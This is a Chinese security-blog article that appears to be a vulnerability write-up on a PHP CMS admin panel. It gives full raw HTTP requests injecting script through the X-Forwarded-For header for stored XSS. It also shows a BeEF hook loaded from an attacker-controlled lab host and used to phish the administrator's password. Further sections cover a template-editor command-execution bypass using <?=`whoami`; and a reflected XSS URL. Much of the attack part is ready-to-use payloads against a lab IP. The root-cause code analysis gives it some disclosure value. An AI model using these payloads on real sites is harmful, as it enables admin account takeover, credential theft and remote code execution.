freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

代码审计之某CMS利用存储型xss登录后台GetShell
2024-01-02 15:29:22

漏洞环境

php5.6-8、Apache、Mysql,利用phpStudy进行搭建部署

漏洞利用说明

该后台登录的时候,无论是否登录成功,都会记录登录者的ip和用户名,且获取ip的函数没有做过滤,从而导致攻击者可以输入任意的用户名和密码,之后抓包在xff头中输入xss代码;当受害者登录时,即可获得用户的cookie;在获得用户的cookie后,利用cookie登录,可以在后端进行代码执行getshell。【以下漏洞仅作为技术分享,切勿瞎搞,搞出来事情与本人无关(以下漏洞均申请cve了)】

存储型xss漏洞

漏洞复现

浏览器访问:访问http://ip//xxxxxcms/?m=admin&c=index&a=login

输入错误的用户名和密码,尝试进行登录,并抓包,添加X-Forwarded-For: <script>alert(/xss/)</script>,点击发送

POST /xxxdcms/?m=admin&c=index&a=check HTTP/1.1
Host: 192.168.239.128
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 195
Origin: http://192.168.239.128
Connection: close
Referer: http://192.168.239.128/qingsdcms/?m=admin&c=index&a=login
Cookie: PHPSESSID=cl20evn42q7978lo3eeuma8jo2
X-Forwarded-For: <script>alert(/xss/)</script>
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Google Chrome";v="87", "Chromium";v="87", "Not=A?Brand";v="24"
sec-ch-ua-mobile: ?0

t0=admin&t1=741258&t2=rfqf&token=46f36bd24ed03fc5818c877c61d62871

在输入正确的密码,进行登录,登录成功后发现存在存储型xss漏洞。

这可以获得后台管理用户登录的cookie,从而登录后端管理平台,危害极大。

Beef实战

输入payload,等待用户登录

POST /qingsdcms/?m=admin&c=index&a=check HTTP/1.1
Host: 192.168.239.128
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 195
Origin: http://192.168.239.128
Connection: close
Referer: http://192.168.239.128/qingsdcms/?m=admin&c=index&a=login
Cookie: PHPSESSID=cl20evn42q7978lo3eeuma8jo2
X-Forwarded-For: <script src=http://192.168.239.131:3000/hook.js />
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Google Chrome";v="87", "Chromium";v="87", "Not=A?Brand";v="24"
sec-ch-ua-mobile: ?0

t0=admin&t1=741258&t2=rfqf&token=46f36bd24ed03fc5818c877c61d62871

之后输入正确的用户名和密码:admin:admin,进行登录,登录成功后,查看Beef上线

1702387591_65785f877ea54514fe7e2.png!small?1702387591019

在获取getcookie的时候发现获取不到,应该是做了限制,可以采用钓鱼的方式诱惑用户输入密码

1702387608_65785f9890c6101ea1e15.png!small?1702387607965

1702387619_65785fa3294054905ac98.png!small?1702387618739

1702387628_65785fac3e271856a2da4.png!small?1702387627756

即可拿到用户的密码进行登录,还可以进行Beef其它操作,重定向浏览器等,危害巨大。

1702387742_6578601e3ee9a6240c1cb.png!small?1702387741558

代码审计

首先使用Seay源代码审计系统进行代码扫描,发现位于/app/f.php文件中存在获取IP方法进行伪造,可以引发sql注入漏洞。

点开f.php进行查看发现存在getip函数

全局搜索发现/app/admin/c/index.php用引用这个函数

查看/app/admin/c/index.php,在check函数中有引用,第一个红框是查询IP地址为$ip、登录状态为0、且最近一天内登录过的用户数量,进行禁止暴力破解和sql注;第二个红框是检测密码和验证码输入是否规范和正确;第三个红框是进行登录验证;第四个红框是登录成功后进行更新;第五个红框是将登录的用户名称,ip,时间等进行添加,这说明无论是否登录成功都会将登录的ip进行记录,故此导致了存储型xss。

代码执行漏洞

漏洞复现

访问模板管理

选择本地模块,使用鼠标点击进去

在点击index.php,将里面内容全部删掉,写入代码执行命令,点击保存

访问http://192.168.239.128/qingsdcms/index.php,命令执行成功

代码分析

打开theme.php,查看代码,传入的参数t2被复制给$test,check_bad对$text进行过滤,之后会进行写入和保存。

查看check_bad函数,是对所有php危险函数进行了过滤,但是没有过滤<?,故可以构造<?=`whoami`;//<?=`*`;来进行命令执行。

反射性XSS漏洞

在浏览器中输入:

http://192.168.239.128/xxxxcms/?a=code%27%22()%26%25%3Cacx%3E%3CScRiPt%3Ealert(9678)%3C/ScRiPt%3E



# 网络安全 # php代码审计 # 代码安全 # 原创投稿
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录